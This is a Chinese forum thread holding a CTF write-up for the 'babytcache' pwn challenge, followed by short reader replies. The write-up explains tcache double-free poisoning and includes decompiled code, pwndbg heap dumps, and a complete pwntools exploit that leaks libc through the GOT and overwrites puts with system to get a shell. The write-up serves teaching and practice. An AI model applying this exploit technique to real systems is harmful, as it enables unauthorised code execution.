Thunder_J 发表于 2019-3-7 19:43:32

pwn-babytcache

题目链接https://github.com/ThunderJie/CTF-Practice/blob/master/CTF-Pwn/babytcache/babytcache这道题需要了解一些tcache的知识,CTF-Wiki上有详细的介绍,简单来说就是tcache_put() 的不严谨static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries;
tcache->entries = e;
++(tcache->counts);
}因为没有任何检查,所以我们可以对同一个 chunk 多次 free,造成 cycliced list,这里其实就有点像Double Free的感觉,只是Double Free不能连续free而这里可以,运行了解一下程序,是一个常见的管理系统root@Thunder_J-virtual-machine:~/桌面# ./babytcache
NoteBook v0.1
1.add a note
2.delete a note
3.show a note
4.exit
>IDA分别分析一下每个函数的内容add_note这里将创建的地址都放在了ptr[]的地方,也就是0x6020E0处int add_a_note()
{
int v1; // ebx

if ( dword_6020C0 > 9 )
    return puts("Full!");
printf("content:");
v1 = dword_6020C0;
ptr = (char *)malloc(0x50uLL);
sub_4008A6((__int64)ptr, 0x50u);
++dword_6020C0;
return puts("Done.");
}delete_notevoid delete_note()
{
int v0; //
printf("index:");
v0 = sub_400920();
if ( v0 < dword_6020C0 )
    free(ptr);
else
    puts("out of range!");
}show_noteint show_a_note()
{
int result; // eax
int v1; //
printf("index:");
v1 = sub_400920();
if ( v1 < dword_6020C0 )
    result = puts(ptr);
else
    result = puts("out of range!");
return result;
}我们首先创建一个note,然后释放三次pwndbg> heap
0x603000 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 593,
fd = 0x300000000,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603250 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 97,
fd = 0x603260,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6032b0 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 134481,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bin
tcachebins
0x60 : 0x603260 ◂— 0x603260 /* '`2`' */ #free three times
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
Empty这道题并没有给system函数和’/bin/sh’,所以我们需要泄露出system函数的地址,然后想办法改got表。我们将0x6020e0位置的指针改为puts函数的got表指针,然后就可以泄露puts函数的在libc的地址,计算出system函数的地址,然后用同样的方法将puts的got表覆盖为system函数的地址,最后调用puts()实现getshell,偏移的计算是在接受到puts函数地址的时候,用vmmap打印出libc地址,然后相减就行了from pwn import *
r = process('./babytcache')
symbol = ELF('./babytcache')
if args.G:
    gdb.attach(r)
def add_note(content):
    r.recvuntil('>')
      r.sendline('1')
      r.recvuntil('content:')
      r.sendline(content)
def delete_note(index):
      r.recvuntil('>')
      r.sendline('2')
      r.recvuntil('index:')
      r.sendline('%d'%index)
def show_note(index):
      r.recvuntil('>')
      r.sendline('3')
      r.recvuntil('index:')
      r.sendline('%d'%index)
add_note('aaaaaaaa')
delete_note(0)
delete_note(0)
delete_note(0)
add_note(p64(0x6020e0+0x8))
add_note('bbbb')
add_note(p64(symbol.got['puts']))
show_note(1)
puts_addr = (u64(r.recv(6)+ '\x00\x00')) #receive 'puts'
print hex(puts_addr)
padding1 = 0x809c0
padding2 = 0x4f440
libc_addr = puts_addr - padding1
system_addr = libc_addr + padding2
print hex(libc_addr)
print hex(system_addr)
r.sendline('2')
r.recvuntil('index:')
r.sendline('0')
delete_note(0)
delete_note(0)
add_note(p64(symbol.got['puts']))
add_note('/bin/sh')
add_note(p64(system_addr))
r.sendline('3')
r.sendline('0')
delete_note(0)
r.interactive()

roger 发表于 2019-3-8 08:17:23

好难呀~{:3_53:}

Thunder_J 发表于 2019-3-8 14:26:49

Shin 发表于 2019-3-8 08:17


确实。。。建议先看钞sir的Double Free

roger 发表于 2019-3-8 21:19:03

Thunder_J 发表于 2019-3-8 14:26


我还在练习pwndbg

丶风存 发表于 2019-8-31 00:56:27

两眼懵逼

猪猪 发表于 2019-9-11 10:54:46

看不懂了哈哈哈哈

gogobn 发表于 2020-7-9 13:06:23

攒bb 顺带赞楼主!!!

ywb_qh 发表于 2020-7-12 08:14:22

太给力了,这么多好东西!
页: [1]
查看完整版本: pwn-babytcache